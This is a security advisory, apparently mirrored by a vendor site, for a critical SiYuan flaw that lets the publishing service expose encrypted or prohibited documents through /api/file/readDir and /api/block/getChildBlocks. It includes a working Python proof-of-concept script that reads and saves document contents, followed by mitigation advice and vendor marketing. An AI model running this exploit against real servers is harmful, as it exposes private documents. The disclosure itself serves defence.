GHSA-34xj-66v3-6j83
CRITICALSiYuan has Arbitrary Document Reading within the Publishing Service
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/siyuan-note/siyuan/kernel🐹github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Details
Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.
PoC
#!/usr/bin/env python3
"""SiYuan /api/block/getChildBlocks 文档内容读取"""
import requests
import json
import sys
def get_child_blocks(target_url, doc_id):
"""
调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
"""
url = f"{target_url.rstrip('/')}/api/block/getChildBlocks"
headers = {
"Content-Type": "application/json"
}
data = {
"id": doc_id
}
try:
response = requests.post(url, json=data, headers=headers, timeout=10)
response.raise_for_status()
result = response.json()
if result.get("code") != 0:
print(f"[-] 请求失败: {result.get('msg', '未知错误')}")
return None
return result.get("data")
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求失败: {e}")
return None
except json.JSONDecodeError as e:
print(f"[-] JSON解析失败: {e}")
return None
def format_block_content(block):
"""格式化块内容"""
content = ""
# 获取块内容
if isinstance(block, dict):
# 尝试多种可能的字段
md = block.get("markdown", "") or block.get("content", "") or ""
if md:
content = md.strip()
return content
def main():
"""主函数"""
if len(sys.argv) > 1:
target_url = sys.argv[1]
else:
target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip()
if not target_url:
target_url = "http://localhost:6806"
print(f"目标地址: {target_url}")
print("=" * 50)
while True:
print("\n" + "=" * 50)
doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip()
if doc_id.lower() in ['quit', 'exit', 'q']:
print("程序退出")
break
if not doc_id:
print("[-] 文档ID不能为空")
continue
print(f"\n[*] 正在读取文档: {doc_id}")
blocks = get_child_blocks(target_url, doc_id)
if blocks is None:
print("[-] 获取文档内容失败")
continue
if not blocks:
print(f"[!] 文档 {doc_id} 没有子块或为空")
continue
print(f"[+] 成功获取 {len(blocks)} 个子块")
print("-" * 50)
# 保存所有块内容
all_blocks_content = []
for i, block in enumerate(blocks, 1):
content = format_block_content(block)
if content:
print(content[:200] + ("..." if len(content) > 200 else ""))
all_blocks_content.append({
"index": i,
"content": content,
"raw_block": block
})
# 询问是否保存到文件
save_choice = input("\n是否保存到文件? (y/N): ").strip().lower()
if save_choice in ['y', 'yes']:
filename = f"doc_{doc_id}_blocks.json"
try:
with open(filename, "w", encoding="utf-8") as f:
json.dump({
"doc_id": doc_id,
"block_count": len(blocks),
"blocks": all_blocks_content
}, f, ensure_ascii=False, indent=2)
print(f"[+] 已保存到: {filename}")
except Exception as e:
print(f"[-] 保存失败: {e}")
print("-" * 50)
if __name__ == "__main__":
main()
<img width="1492" height="757" alt="image" src="https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc" />
Impact
File reading: All encrypted or prohibited documents under the publishing service could be read.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/siyuan-note/siyuan/kernel has shipped for GHSA-34xj-66v3-6j83 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-34xj-66v3-6j83 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-34xj-66v3-6j83. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-34xj-66v3-6j83 in your dependencies?
O3 detects GHSA-34xj-66v3-6j83 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.